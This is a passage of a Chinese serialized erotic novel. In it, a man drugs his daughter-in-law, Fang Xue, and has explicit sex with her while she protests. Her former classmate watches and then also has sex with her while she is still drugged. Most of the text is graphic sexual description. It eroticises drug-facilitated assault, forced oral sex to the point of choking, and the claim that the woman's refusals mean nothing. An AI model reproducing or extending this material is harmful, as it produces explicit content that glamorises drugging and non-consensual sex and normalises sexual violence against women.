图片载入中

沉沦95(第二篇1~24)

特大字】 【大字】 【中字】 【小字

作者:hide1988 字数:70157 :thread-9058590-1-1.

一、公媳(一)

方雪白嫩的一双纤纤玉臂,时而推搡着老家伙的胸膛,时而放在沙发扶手上, 就像她此刻挣扎反复的内心一般,天鹅般的玉颈因为头部用力后仰更显的纤长, 陈潇此刻看不到她的表情,但能想象到她那难耐的样子。

在老家伙高超的技术以及药力的作用下,方雪的挣扎越来越激烈,但不是挣 扎着离开,而是在努力的向前靠拢,凹凸有致的身体像无骨蛇一样来回扭动,圆 润的美腿呈M 型踩在沙发上,在老家伙的玩弄下张的更加大开,雪白浑圆的美臀 随着干瘦的一只大手的抚摸,时前时后,说不出的性感淫靡。

方雪忽然低下了高仰的头,媚眼如丝的注视着蹲在她面前的老家伙,张开小 嘴似是想说点什么,但还是止住了,她似乎极力想控制住自己,时而紧咬着下唇、 时而甩动着一头长发,不管她怎么努力,最后她还是发出了梦呓似的呻吟,“啊 ~~呀~~爸~~你~~哦~~这样不好~~不能这样子……。”

“为什么不能,嘿嘿,看你都骚成什么样子了。”老家伙淫笑着继续说道, “小雪,你难道不知道爸爸对你的心思,要不是我爱煞了你,凭你做的那些事, 我怎么可能同意刚儿娶你!你说,你跟你那个男朋友……”

“爸~~不~~不要说了!”方雪打断了他的话,那双大张而开的修长玉腿颤抖 着,带动美臀迎合着老家伙手指的撩拨,“人家都已经跟你这样了,你还~~啊… …。”

方雪的浪态彻底激起了老家伙的情欲,松开压在她阴阜上的手指,急不可耐 的将她的睡衣脱下,衣服离开身体的瞬间,那具让现场的两个男人都幻想过的皎 洁胴体,顿时呈现在了他们眼前。

丰满而半裸的双峰怒然耸立,似是要从乳白色的奶罩中跳跃而出,在完全不 能将她覆裹的一点布料的衬托下摇曳生辉。

陈潇看的呆住了,老家伙则发出了野兽般的粗喘,眼中的欲火更加的炽烈, 二话不说,将脸孔朝着那深邃的乳沟深深埋了下去,就像一头饥饿许久的老狼, 忙碌而贪婪的吮舔着两团雪白。

就在老家伙撕开胸罩,将她的奶头吮咋到满是黑灰色烂牙的口中的时候,浑 身颤抖的方雪却像突然清醒过来一般,推着他满头银灰色头发的半秃脑袋,泣声 道,“爸~~这样真的不对,呜~~我嫁给了王刚,我~~呜呜~~就想做个好女人,相 夫教子,你这样,呜呜~~会毁了我的生活……。”

“操!你的生活是我给的,我玩玩你又怎么样!要不然,凭你的条件,也想 嫁到我们家!”老家伙抬起头,猛地抓了方雪的胸脯一把,看着眼前美人儿泣不 成声的样子,好一会儿,进入疯狂中的他才缓了过来,“小雪,对不起,是爸说 话重了,我当然是想你做我的儿媳,也想你生活的更好,你想想,,除了刚结婚 的那些天,刚儿在家呆了多久?你总要解决一些事情吧,来吧,让爸爸安慰你, 放心,你不说我不说,没人会知道的……。”

大棍、甜枣、淫药、高超的技术,让方雪完全无法拒绝公公的所做所为,已 经淫兴勃发的老家伙也感觉出的自己美丽儿媳半推半就的心思,再不理她的挣扎, 左手在她身上不停抚摸,右手钻进了她性感的内裤里,同时舌头也急促而灵活地 刮舐袭卷着充血樱红的乳头,这次他的动作显得如此疯狂而火热。

被淫药控制身体的方雪,心中自是万分享受,但仅存的一点理智又让她不敢 太过迎合,她的乳头已然坚挺,她的下体也已鼓胀,那急促的呻吟跟阴户中潺潺 的流水已经说明了一切。

内心窜起燃烧的欲火,一次次冲击着她随时都有可能崩溃的灵魂,身体越来 越酥软,越来越沉沦,气息浓浊、满脸娇羞的俏丽佳人,那种含嗔带痴、欲言又 止,想看人却又不敢睁开眼帘,想迎合却又不敢太过淫荡的表情,让人恨不得直 接将她吃下肚子。

“小雪,你是我这辈子玩过的最漂亮的女人,太美了……。”老家伙赞叹着, 忽然变得极其温柔,嘴唇滑过方雪的粉颈和耳朵,然后由上而下的吻回肩头,接 着又往上慢慢地吻回去,就像对待挚爱的情人一般。

在老家伙浓情蜜语的攻势下,方雪发出轻哼低吟,脸上的红潮越来越盛,在 那张散发着烟油气的嘴巴从她脸颊滑过的时候,她竟然主动张开了小嘴,粉粉嫩 嫩的小舌探出,在老家伙那干裂的嘴唇上舔了一下。

这一下充满娇羞风情的一舔,彻底激发了老家伙的激情,不顾一切的大吼一 声,嘴唇顿时覆在了方雪性感的小嘴上,呜呜声,唧唧声,不绝如缕。

看着老家伙跟方雪激烈热吻,陈潇有些被刺激到了,无法相信眼前看到的这 幕是真实的存在,眼前这个浑身上下只着内裤,跟一个肮脏矮小的老头儿热吻的 女孩,真的是自己曾经暗恋许久的那位吗?真的是那个如广寒仙子一般的白衣女 孩吗?

是自己无知,还是这个世界太疯狂?

不知什么时候,方雪身上唯一的内裤也离体而去,老家伙一手搂抱着她的香 肩,一手从乳房抚摸而下,越过平坦光滑的小腹,手掌覆在了隆起的秘丘之上, 方雪玉体一颤,双腿猛地夹紧,但又慢慢松动分开,任由那只鸡爪般的手掌摩挲 着自己的凄凄芳草之地。

满是干涩老皮的手指挤入了柔软的黑色之中,扣动了几下,方雪发出了一阵 似是畅快又似难耐的呻吟,湿湿粘粘的淫水不住涌出,沾湿手指,流过菊花,浸 染了沙发。

陈潇吞了一口口水。

由于老家伙正在一侧狂吮方雪的小嘴,白炽灯光下,陈潇虽然觉得有些郁闷, 有些心酸,但男人的本能还是驱使着他尽情的欣赏那处自己曾经幻想过无数次的 地方。

不像小慧跟美美,整个阴户只有阴阜上有一些阴毛,其余的地方白白嫩嫩。

方雪的阴部毛发很是浓密,从阴阜一直延伸到菊门之上,跟她那白腻恬静的 脸蛋对比很是强烈,但却并不显得杂乱,反而有一种另类的美感,看着老家伙那 黄褐色的指头在阴毛间上下滑动,时不时露出一抹嫩红,陈潇心中满满的都是莫 名的嫉妒。

“唔~~不要~~啊~~不要弄了,要死了,啊~~好难过……。”长达五分钟的接 吻分开,方雪呜咽娇吟,嫣红的脸蛋上充满了浓的化不开的风情。

“难过吗?这样啊,要不,我们今天就到这里吧!”老家伙又在她有些红肿 的小嘴上亲了一口,淫笑着看着方雪,说着把在穴口划动的手指拿了出来,作势 离开。

“不~~啊~~不要……。”已经完全被淫药跟情欲控制了身体的方雪,本能的 捉住了老家伙的手,将它重新压倒了淫水露露的穴口。

“哈哈~~,小骚货!我的骚儿媳!”老家伙得意的大笑着,看着已经被欲念 控制的方雪,再次将他的食指伸入到肉缝里面,开始轻抠慢挖、缓插细戳起来, 又低下头去吸吮方雪那已然硬凸的奶头,先是温柔地吸啜了一会儿,接着便用牙 齿轻佻地轻咬啃噬,不过片刻,方雪再也控制不住,发出羞耻的呻吟声。

“哦~~啊~~不要~~不要~~啊~~你叫我,叫我怎么面对王刚,啊……。”

看到方雪双手捂住脸蛋的羞涩样子,听着她求饶般的浪叫,老家伙露出很是 满意的表情,没有回答她,反而挑逗的更加激烈,一边加速扣挖着她的蜜穴一边 说道,“好媳妇,我这样咬你的奶头爽不爽,要不要再用力一点?”

“唔~~不要~~啊~~要~~轻一点,啊~~停下来,不要……。”方雪手足无措, 语无伦次,也不知是让停还是轻一点,但她的身体自是做出了最忠实的反应,屁 股配合着老家伙的扣挖前后挺动,淫水一股股被带出,打湿了周围的阴毛,一缕 缕,煞是淫荡。

她紧张又似兴奋的抓着沙发坐垫,漂亮的手指深深地陷入其中,随着她体内 欲火的熊熊燃烧,不仅叫声越来越浪,修长的雪白双腿也开始急曲缓蹬、左摆右 移,俏脸上也露出一付既想抗拒,却又沉溺其中不可自拔的浪态。

看着身下美丽的儿媳被自己玩的失魂落魄,老家伙眼中的欲望已经浓到了极 致,睡裤撑起了一个高高的帐篷,他迫不及待的脱去了自己的衣物,露出了皮包 骨头似的松松垮垮的干瘦身体。

“我的好媳妇,我的小心肝,来~~好好让爸爸疼你……。”老家伙低吼着, 扑上了方雪一丝不挂的诱人胴体,那白里透红、凹凸有致的玲珑身段,那雪嫩的 如上好的绸缎一般的肌肤,让老家伙一扑上就猛烈的耸动起来,享受肌肤摩擦产 生的强烈快感。

二、公媳(二)

方雪满面羞红,呜呜轻吟,迷蒙的美眸含羞带怯的看着在自己身上耸动的男 人,似是想要说些什么,但最终还是没有说出,只是羞答答的把俏脸转到一边, 她这样默认的动作,更激起了老家伙的性欲,猛地直起身,坐到了她的腰间。

当方雪悄然转过头来的时候,展现在她面前的是一根丝毫不下于陈潇的粗大 肉棍,岁月的痕迹一点都没体现在它的上面,还是那样的狰狞,择人欲噬。

“操!全身的肉这是都长这上面了吗?”看着那如第三根腿一般的东西,陈 潇暗骂一声,心中啧啧称奇,一根竹竿上插了个冬瓜,怎么看也够奇葩的。

老家伙骑在方雪肚皮上,得意的一笑,抓着自己肉棍根部,轻轻拍打着她的 小腹,一路向上,在肥美的乳房之间停留的片刻,便移到了方雪的鼻尖上,同时 拉起她的右手,把她那只细嫩优雅的柔荑,轻轻地按在自己的肉棒上面,然后握 住她的手,带领她轻轻套弄起来。

“你~~你不要这样啦……。”方雪羞赧的娇声说道,但那声音哪里有半点反 对的意思。

老家伙开始还带动着她为自己撸管,十几下之后便已经松开,捉向她的乳房, 但方雪还是继续套动,根本没有停下的想法。

眼前如梦似幻的俏佳人为自己打手枪,主动的帮自己手淫,老家伙心中的得 意自是无法形容,看着她春情满面的俏丽容颜,老家伙知道,药效应该已经完全 发作了,他紧盯着方雪的眸子,嘿嘿笑道,“告诉我,喜欢不?”

“不~~啊~~不知道……。”羞羞答答的方雪含情脉脉的看了看手中的巨物, 小脸转向一边,转头的同时,不自觉的红唇轻启,小舌头在红唇上舔了几下,这 样的动作落在老家伙的眼中,哪里还不知道,小娘子已经予取予求了。

他贱笑一声,在沙发上站了起来,两条干瘦的满是褶皱的腿踩在方雪胯部两 边,同时身体向前微倾,硕大的阳根正对准了方雪的脸颊,先是用大龟头轻轻磨 擦方雪的下巴和脸颊,片刻之后又移动到了美人儿的鼻孔下方。

“不~~唔……。”被老家伙双手固定住了头部,方雪这时躲无可躲,或许, 她此时也不想再躲,水汪汪的媚眼中露出一股火辣辣的灼热光芒,大胆地凝视着 自己公公那颗紫色铮亮的硕大龟头。

老家伙舔了舔嘴唇,一只手握住肉棍根部,让肉棍底缘在方雪那吹弹得破的 细嫩双颊上轻轻拍打,片刻之后,又将龟头紧抵在她的嘴唇,试着想要顶入她的 小嘴中,或许是肉棍上的异味让方雪有些反感,或许是他的龟头太大,顶了半天, 龟头仅仅进去了三分之一,但只是这三分之一,只是看着儿媳的红唇跟自己的鸡 巴紧紧贴在一起的淫荡样子,也已经让老家伙爽翻了天。

“爽!真他妈太爽了!”老家伙兴奋的大吼着,他知道自己的俏儿媳下面已 经水流成河,现在的样子也只是本能的羞涩而已,只要自己再加把劲,她骨子里 的浪态就出来了。

这下他倒是不急了,挺动着没有二两肉的屁股,跟方雪玩起了挑逗与被挑逗 的游戏,他不再猛烈的向她的樱唇中塞,而是用他狰狞而坚硬的紫色巨龟,不住 刷起美人儿那两片性感的樱唇,洁白的贝齿,就像刷牙一般。

就这样刷了三四分钟,老家伙玩的乐呵,方雪的唿吸却是越来越重,不时抬 起粉面,那水汪汪的媚眼中充满的欲望已经说明了一切。

“唔~~爸~~爸爸,不要,不要这样,雪儿,啊~~好难过……。”

方雪的咦吟声还未结束,老家伙已经在她开口的瞬间猛挺腰部,巨大的阳具 将她的小嘴撑成了一个恐怖的O 型,整根肉棍顿时有三分之二贯入了她的唇中。

湿热而滑腻的香舌完全贴在了肉棍之下,突然的不适,方雪的小舌头本能的 向前顶卷,想要将口中的异物吐出,但这样的动作几下都扫在了老家伙的马眼上, 那巨大的快感让他爽的全身颤抖起来。

“啊~~嗷~~就是这样,嗯~~好媳妇,快点,就这样舔,嗷……。”

听着公公的低吼,方雪此刻也是浑身滚烫、芳心颤动,红噗噗的被公公的肉 棍撑的鼓鼓涨涨的俏脸,将欲拒还迎这几个字阐述的十分生动,肉棍上的老人味 让她有些反感,但是她却无法控制身体对这跟粗大火烫的肉棍的需求。

不知什么时候,方雪推在老家伙胯间的手环上了他的屁股,小嘴轻轻蠕动, 开始啃咬起了嘴里的肉棍,香舌更是在里面上下挑动。

看着身下的俏儿媳主动的给自己吞吃鸡巴,看着她天香国色的小脸上自己那 根黝黑狰狞,满是青色血管的肉棍,不说上面传来的快感,仅仅那绝美跟丑陋的 强烈对比,仅仅那视觉上的享受,就已经让老家伙爽翻了天。

他疯狂的吼着,疯狂的挺动着,一次比一次更强悍的逼迫和抢进,在方雪不 知是兴奋还是痛苦的呜呜声中,一次次将龟头硬生生的挤入她的咽喉,直插的方 雪咳喘连连。

“不~~唔~~停~~不啊……。”方雪呜呜呻吟,喉咙被巨大的龟头塞住,窒息 的恐惧让她不住的挣扎,但正在兴头的老家伙哪里会管她,又在她的喉咙研磨了 几分钟,直到方雪双眸翻白才停了下来,将鸡巴抽出。

瞬间,剧烈的咳嗽声响满了整个客厅,持续了好一阵子之后才慢慢平息。

“你~~你想弄死我嘛……。”老家伙再次将沾满口液的巨棍送到方雪嘴边的 时候,或许是迫于他的淫威,方雪只是轻哼一声,面红耳赤地看了眼前的紫红色 大龟头一眼,然后便认命地张开她性感的双唇,轻轻地含住大龟头的前端部分, 轻轻舔舐起来。

这次方雪舔的很是仔细,由肉棍的马眼舔起、接着热烈地舔遍整具大龟头, 卖力地左右摇摆着她的臻首,从左至右、由上而下,而且不时的将小脸埋在老家 伙胯下,将他干瘪的卵蛋吸到嘴里。

“干!爽,嗷~~爽死了!”几分钟后,在方雪的舔弄下,老家伙已经受不了 了,一步跨到地上,摆弄着方雪雪白的娇躯命令道,“把你的浪腚撅起来,让爸 爸好好疼你!”

“不~~啊~~不要嘛……。”方雪半推半就的被老家伙翻过身子,背对着他趴 跪在了沙发上,浑圆洁白如美玉般的翘臀轻轻摇摆,那浪到骨子里的骚态,哪里 有半点不要的意思。

“小骚货,他妈的!”老家伙兴奋的骂着,不轻不重的在雪臀上扇了一巴掌, 那颤动的臀肉,臀缝间蜜穴周围被打湿成一缕缕的阴毛,看的一边的陈潇都差点 鼻血喷涌,更别说身在其中的他了。

老家伙一手握住自己的肉棍,龟头刚刚抵上那片濡湿,忽然又改变了想法, 双手压在两瓣臀肉上,两根拇指将肥美的阴唇左右分开。

看着那露出的嫩红穴肉,他忽然弯下腰,大嘴一张,立时将美人儿那粉红色 的秘穴整个含进了嘴里,当他猛吸着那潺潺不止的淫水时,方雪身体剧烈一颤, 咿咿呀呀浪叫起来,也不知说的什么,浑圆的雪臀更是疯狂的旋转颠簸,前后扭 动,整个屋子里充满了女人淫荡的呻吟跟啧啧唧唧如够舔水一般的声音。

“啊~~爸~~爸,不要舔了,啊~~要死了,人家要被你玩死了,唔~~好难过, 给我,我要,啊……。”

“要什么?”老家伙一张老脸兴奋的如同一只马猴,也不管自己儿媳下面的 小嘴喷出的淫水浪液,一股脑全吃到嘴里。

“人家要~~啊~~要爸爸的大肉棍,啊~~要大肉棍插人家的小穴,啊……。” 方雪浪叫连连,从刀削般的香肩之上迷乱的看着正在自己下面努力的公公,主动 的支起了一条腿,让神秘处分的更开,同时一只手压在了老家伙的后脑勺上,那 曼妙的的淫态真是骚到了骨子里。

“操!受不了了!”老家伙显然被方雪刺激到了,猛地站直了身子,努力踮 起脚尖,龟头贴在了一片狼藉的娇嫩处,随着一声低吼,噗嗤一声,硕大的阳具 整根都插到了浓密的毛发之间。

“啊~~爸爸~~啊~~太大了,要被你撑破了,啊……。”肉棍入体,方雪整个 人软软的瘫倒在了沙发靠背上,双眼迷离,泫然欲泣,一副不堪忍受的样子,就 算她下面已经完全濡湿,但显然还是被这一棍插的受不了了。

“小雪,你的骚逼真是舒服,嗷~~这么紧,哦~~天生就是,嗯~~被男人操的 货!谁让你长得这么漂亮,你的小逼,嗷~~当然要受罪了!”老家伙一边说一遍 耸动,儿臂粗的肉棍在胀鼓鼓的阴户间猛烈进出,带出一蓬蓬淫水,随着卵蛋被 甩的到处都是。

“爸~~啊~~爸爸,你不要这样说,啊~~轻一点,呜呜~~你的鸡巴太大了啊! 要死了,啊~~要被你干死了……。”

三、老同学

方雪叫的如泣如诉,老家伙干的炮声连天,弄了几十下后,老家伙忽然兴起, 捉住方雪的腿弯猛地将她掀离了座位,这下方雪整个身体就如青蛙游水一般,身 体的悬空让她的长腿不由自主的反向夹在老家伙腰间。

这样的姿势,她的穴肉收缩,夹的更加的紧了,老家伙爽的浑身打颤,陈潇 也看的兴奋不已,正等着他再玩点什么花样,也好学习一下呢,忽然就看到他那 干瘦的屁股一阵猛抽,干瘪的卵蛋也迅速向上挤压收起。

“啊~~你~~你怎么……。”方雪扭过头,还带着浓浓媚意的小脸上写满了不 爽,郁闷,难过,等等表情。

老家伙抖动了一阵后,尴尬的说道,“这个,咳咳~~小雪,唉~~人老了……。”

听着两人的对话,看着一点点被挤出穴口的疲软肉棍,陈潇再怎么也知道是 怎么回事了!心里不仅有些好笑,看这老家伙刚才挑逗人的技术,还以为是位猛 男呢,想不到,呵呵~~,岁月果然是把杀猪刀,任你多么凶猛,也免不了软了香 蕉。

“可是,我~~我怎么办,真的,唔~~好难过,你~~你上次不是很厉害的嘛… …。”小雪转过身,看着眼前软塌塌的肉棍,也不顾上面那肮脏的淫液精液,小 嘴凑上,唧的一声,整根肉棍被她吸到了嘴里,卖力的吮咋舔弄起来。

“嗷~~小雪,嗯~~我,我上次,啊~~是吃了药的,这次,嗯~~忘了,要不我 们下次……。”

“不~~啊~~谁跟你下次,你起来,唔~~就知道给我吃药,现在,唔~~怎么办, 我,啊~~好难过,王海波,你~~你以后再也别想碰我。”

老家伙看着还在吞吐自己肉棍的俏丽儿媳,郁闷的说道,“谁知道我,唉~~ 小雪,都怪你长得太漂亮了,那,那你说怎么办!”

“上次你是怎么办的这次就怎么办,你~~你吃药去嘛!”

“家里没有!”

“去买!”

“这么晚了……。”

“我不管,啊~~不管,你快去……。”

老家伙很是无奈的被赶出了门,方雪则进了浴室,哗哗的水声响起,正当陈 潇犹豫着怎么离开的时候,裹着浴袍的方雪走了出来,估计是洗冷水澡了,但脸 蛋还是红红的,也不知道老家伙给她吃了什么药。

“我是不是该装作醒来呢?干!这是……”陈潇心里忽然一紧,从方雪自浴 室中走出就闭上的眼睛慢慢睁开,入眼的是一副让他喷血的画面,只见已为人妻 的美丽女同学正蹲在自己下面,湿漉漉的长发下,迷蒙的眼睛紧紧盯着胯下耸立 的阳具,由于她的浴巾很短,身体蹲下的时候,白嫩修长的美腿间,那抹刚刚被 干过的地方若隐若现。

当然,这还不足以让陈潇失声,让他没有忍住发出声音的原因是,方雪那双 曾经让自己幻想过不止一次的小手,此刻正按在了挺立的阳具上,虽然隔着两层 衣裤,那强烈的刺激还是让他没能忍住。

听到陈潇的声音,方雪慌乱的抬起了头,四目相对,什么都不用说了,两人 都是聪明人,又是同学两年,也不需要解释什么了。

“陈~~陈潇,你~~你刚才……。”方雪的脸顿时红的像熟透的苹果,陈潇当 然知道她要问什么,点点头,意思是刚才的事情都看到了。

“我~~这个,事情其实,其实不像你想的那样……。”方雪轻声解释道。

“呵呵~~你没有必要给我解释什么,谢谢你带我回来。”陈潇笑了笑,眼睛 落在了方雪握住自己肉棍的手上,或许是被发现了秘密,太过紧张的缘故,方雪 竟然到现在也没意识到还捉着陈潇的肉棍,而且因为紧张,捉的很紧。

“啊!我~~我……”方雪不知所措的松开手,一脸慌乱的看着陈潇。

看着眼前无助中带着羞怯的女孩,陈潇一时间五味杂陈,那些曾经的记忆扑 面而来。

那还是四年前,一次不经意的邂逅,陈潇认识了她,那高傲如同天鹅,淡雅 如同睡莲的样子就深深印在了陈潇脑海,后来又发现她竟然跟自己一班,陈潇心 中的某个意念不能自已的疯狂生长起来。

方雪人长得漂亮,学习成绩又好,班里男生暗恋她的自然很多,但几乎没听 说有谁敢去追求,就像一支水莲,可远观不可亵玩,陈潇当时胆子也不大,自然 就沦为了那些暗恋男生中的一员,他实在没有勇气,害怕如果自己开口,或许连 接触的机会都会失去。

就这样,一直到大学毕业,这些心思最终还是深深掩埋在了心中的某个地方, 直到小慧提起这个名字,那被他隐藏在内心深处的记忆匣子才慢慢打开。

陈潇怎么想也想不到,毕业将近两年后,两人的再次见面会是在这样一种情 形下,说实话,虽然自己也是已经结婚的男人,但这依然让他很难过,就像自己 心中最美的东西破碎了,本来以为永远都生活在天上的女神,自己连爱意都不敢 表达的女人,你突然发现她其实是一个可以任由男人玩弄的妓女,这种心情实在 难以形容。

但是另一种兴奋也涌上心头,别人玩得,我为什么就玩不得!

“陈潇,我~~我其实,你~~你看到了,我不想,毕业后经历了很多,发现生 活没有想象的那么美好,今天是他,我这是……。”方雪努力的想解释什么,可 是越说越是语无伦次。

看着她羞羞怯怯泫然欲泣的样子,一种曾经有过但已经忘却多年的意念在陈 潇心中疯狂滋生,陈潇猛地从沙发上坐了起来,唿吸急促,眼中有些疯狂。

“陈~~陈潇,你,你……。”

方雪还没说完,陈潇已经用动作说明了一切,他捉住方雪的手臂,将她一把 拦在了怀中,柔软的身体,滑腻的肌肤,熟悉的香气,一种失去的感觉猛然回归 到了陈潇身体,唯一不同的是,她再不是那高高在上的女神,而是一位人妻,而 且是连公公都能享受她美妙身体的人妻。

“你~~你做什么,啊~~不~~不要……。”闻着陈潇身上那浓浓的让她心慌的 雄性气息,感受着他在自己裸露的腿上抚摸的大手,尤其是屁股下面那根硬挺的 粗大,方雪的身体顿时就软了,刚刚因为冷水跟慌乱压抑下去的药效又猛烈的涌 了上来。

“嘿嘿,不要什么?”陈潇抚摸着美人儿那曾经幻想着无数次的美腿,闻着 她发间淡淡的清香,心中激荡的难以自持,一边舔着她的修长的脖颈,粉红的耳 朵,一边轻声笑道,“如果不要,刚才为什么偷偷去摸?”

陈潇说着屁股用力的向上顶了两下。

“啊!不~~不是……。”想到自己刚才忍不住偷偷去摸老同学的肉棍,加上 这样的调笑让方雪的脸更加的羞红,但身下那根摸起来比自己公公还要粗大有力 的阳具却让她心慌意乱,什么也说不出来,她很明显的感受到了下体的充血,以 及那些不住涌出的蜜汁。

陈潇已经不是当初的小处男,现在自然明白该做什么,松松垮垮的浴巾在他 的手中飞到一边,那对浑圆饱满的玉乳,纤细的小蛮腰,丰满圆润的美臀再次出 现在了他的眼中,现在,他不需要站在一旁……。

在方雪的娇唿声中,陈潇将她抱起,走向了打开的房门,入眼是一张宽大的 双人床,床头之上挂着的是一副结婚照,照片中,方雪身穿洁白的婚纱,,幸福 的揽着一个男人的胳膊,靠在他的肩上,看着男人那得意的样子,想到此时此刻, 在大陈乡,或许他也是这样抱着自己的小慧,将他那肮脏的东西插入小慧的腿间, 陈潇心中没来由的一阵怒火,一阵兴奋。

“风水轮流转,王刚,今天你老婆让你公公玩了,老子也插上一腿!”

“你~~你说什么……。”方雪眼帘半开,一手环着陈潇的脖颈,另一只手探 向了他的胯间,隔着裤子上下抚摸着他的肉棍。

“我说,今天当着你老公的面干我爱慕多年的美丽女同学,很刺激!”陈潇 笑着将方雪放到了床上,开始脱衣服。

“不~~不要这样说……。”方雪顺着陈潇的目光,看着床头大大的结婚照, 羞耻的负罪感让她的声音有些颤抖,看向陈潇的眼眸也出现了一丝难过、或者不 满,但在看到陈潇的衣服一件件离体,那强壮的胸肌,结实的小腹,以及小腹下 那根雄伟的朝天挺立的肉棍时,所有的一切都化成了浓浓的说不出兴奋。

四、激情(一)

陈潇边脱衣服,眼睛死死顶在新婚少妇方雪那玲珑浮凸的胴体上,结实而柔 美的起伏线条,似乎让人不忍碰触,又似乎更加诱人,在他狠狠压上那娇软绵绵 的动人肉体,不仅一阵暗叹,,刚刚看着老家伙玩弄方雪身体时,就觉得她的肌 肤如上好的绸缎一般,现在自己摸在手中,那触手及心的光滑与细腻,还有一点 冰凉的感觉却怎么是绸缎那种死物可以比拟的。

他的爱抚引得方雪浑身颤立,娇喘连连,不住的扭动身体,腻滑的大腿不住 蹭弄着陈潇耸立的肉棍,陈潇知道,美人儿已经完全屈服了,“好美,乳房真是 很有弹性呢,又滑又软,没少被王刚摸干吧?”

方雪呜呜几声,感受着陈潇的抚摸揉搓,听着这样挑逗刺激,更是不胜娇羞, 所有的羞耻都变成一股热浪,随着身体中药性渐浓,迅速发挥着作用,她红着脸 闭上眼睛,轻声咿唔着,“他只是~~只是蜜月时候对人家比较,啊~~比较有兴趣 啦,回来之后这些天,嗯~~工作很忙,都没有,啊~~轻一点……。”

“忙到把你扔在家里,自己出去鬼混吗!这个垃圾!”想到自己的小慧或许 现在也是这样正在被那混蛋赤裸裸的搂抱着,陈潇脸上不可遏制的出现了疯狂的 怒意,看着眼前圣洁娇挺的乳峰顶端,一对玲珑剔透、嫣红诱人的乳头,含娇带 怯、羞羞答答地娇傲挺立,陈潇嘴角扯出一丝有些狰狞的笑意,一手一个掐在了 那对蓓蕾之上。

“啊~~你~~啊~~弄疼我了,放开,放开啦……。”方雪痛苦的叫喊着,拍打 着胸脯上的手臂,直到陈潇脸上的疯狂有些消退。

“对~~对不起,我~~我失态了……。”

“没~~没什么!”方雪轻轻抚摸着自己那对稚气未脱有些红肿的柔嫩乳头, 旁边一圈淡淡嫣红乳晕的映衬下更显妩媚可爱,犹如一圈皎洁的月晕围绕在乳头 周围。

“呃~~,没什么?”陈潇愣了一下,绞尽脑汁编好的安慰的话一句也说不出 口了,他看向身下方雪那娇媚欲滴的俏脸,她的目光一阵羞涩的闪烁,转头到了 一边,但陈潇怎么会看不出她那种那浓浓的情意,“怎么回事?难道自己这美丽 的同学,跟自己妹妹美美一样,还喜欢那种调调?”

“嫁给他们这种有钱有势的人家,我有什么办法,我早就想到了,只是,只 是没想到这么快而已,我甚至~~甚至有些怀疑,我跟公公的事情,他是不是~~是 不是已经知道了。”方雪说着,眼中泪水顺着眼角落下,那楚楚可怜的样子配上 娇软纤柔的身段,让人不觉就有种想要拥入怀中,轻怜密爱的感觉,,这却让陈 潇有了一点负罪感,有些犹豫不前,不管怎么说,这也是自己曾经暗恋过多年的 同学。

“谢谢你的关心,给我,给我吧,我要放松,我要放纵,干我,不要怜惜我 ……。”看着陈潇犹豫的样子,方雪忽然挺腰,一边说着,一边抱住了陈潇脖颈, 同时右手主动捉住了陈潇的大手重新覆盖上她的乳房,又捉着他的另一只手在娇 腻妩媚的呻吟中向着下面探去。

“这可是你勾引我的!”本来在这方面意志就很不坚定的陈潇,此刻简直爱 不释手,哪里还会再去想别的,一边继续揉搓方雪的雪白大奶,一边顺着身体向 下摸去,一片玉白晶莹、娇滑细嫩中,一点圆圆的、可爱的肚脐眼,微陷在平滑 的小腹上,方雪的小腹光洁玉白,没有一丝瑕疵,只是下端阴阜上,阴毛似是有 些茂盛。

虽然茂盛,但却一点不显杂乱,很是整齐的码在两边,陈潇一直以为自己喜 欢的是像小慧,美美那样的娇嫩粉红,除了阴阜其它地方没有杂草的阴户,但此 刻看到方雪才明白,茂盛的阴毛同样可以强烈刺激男人的性欲,主要是看这小穴 的主人……。

方雪美吗?那自是无可置疑的,要不然陈潇也不可能单相思了两三年,他一 边想着,手掌已经触上方雪阴阜,中指探入茂盛草丛中阴阜之下的一丝缝隙,那 刻,,他明显感到了方雪身体一颤,随着自己手指越来越下滑,方雪的呻吟变成 了如雌猫发情般的声音,身体也颤抖的更加离开,她的双腿死死夹住产销一条大 腿,同时死命的摩擦那根几乎有她大腿三分之一粗细的硕大阳具。

“啊~~啊啊~~啊啊啊……。”就在手指完全探入穴缝,陈潇开始寻幽探胜之 时,方雪一声尖叫,身体时松时紧,不住颤抖,夹紧的大腿之间,一股粘稠的液 体喷涌而出。

“干!至于这么兴奋吗?”陈潇喘着粗气,看着美丽的人妻女同学,在自己 手指下高潮的样子,心里感叹着,这个求着自己干她,触摸了几下就高潮的女人, 真的是那个曾经高高在上,如高贵不可触摸的仙子般的人吗?

当然,他不知道老家伙高估了自己的能力,给方雪注射了近两倍的药量,方 雪经历了老家伙的淫弄,体内的情欲完全被撩拨起来后,老家伙却干了不过几分 钟便歇菜,后来她主动去摸陈潇肉棍,这样骚情的样子被陈潇看在眼中,又被他 一番挑逗,这种羞耻,这种大起大落,她怎么会受的了。

于是,在陈潇的中指压在那湿润滑腻的娇嫩花瓣中仅仅揉搓了几下之后,方 雪再也压抑不住身体中那蓬勃的快感,到达高潮。

陈潇看的热血沸腾,下面那话儿已经因为极度充血而有些发疼,但是基于对 这位美丽女同学多年的遐想,对自己死对头王刚的愤恨,他还不想这么快就将她 吃掉,他的左手在她身上四处游走,无处不到的挑逗、撩拨,很快就将方雪撩拨 的浑身火热滚烫,口干舌燥,口中发出梦呓般的呻吟。

“不~~啊~~潇,不要~~不要逗我了,唔~~给我,我要……。”方雪呻吟着, 小手伸到胯下攥住了陈潇一手无法圈起的粗大肉棍,有些疯狂的套动着,向着自 己腿间拉去,本来紧紧闭合的美腿也大大分开,修长的大腿缠在陈潇屁股上,带 动美臀大力扭动。

有些熟悉的呻吟再次刺激到了陈潇神经,他又想起了小慧,不知道为什么, 小慧虽然被王刚操了四五天,但后来自己看的很紧,他基本就没有了什么机会, 跟李大元比起来可是差远了。

想起婚前那段时间,李大书记有多少次差自己出去办事,估计就干了小慧多 少次,更过分的是,还在大婚的晚上把小慧上了,奇怪的是,自己对李大元怎么 也恨不起来,倒是对王刚,一想起来就有些咬牙切齿。

“是嫉妒吗?嫉妒小慧在他身下那么骚浪,那么主动,还是害怕小慧被他抢 去?或者说,是因为李大元一手提拔了自己?如果王刚能给自己带来些什么好处, 那是不是就不会有这么多愤恨了呢……”想到这里,陈潇忽然一阵恶心。

“这还是自己,还是陈潇吗?这不仅是靠女人上位,而且是靠自己老婆上位, 这得是多么无耻的绿头王八才能干出的事情?这才是官场刚刚开始不到两年,难 道已经沉沦到这种地步了吗?”

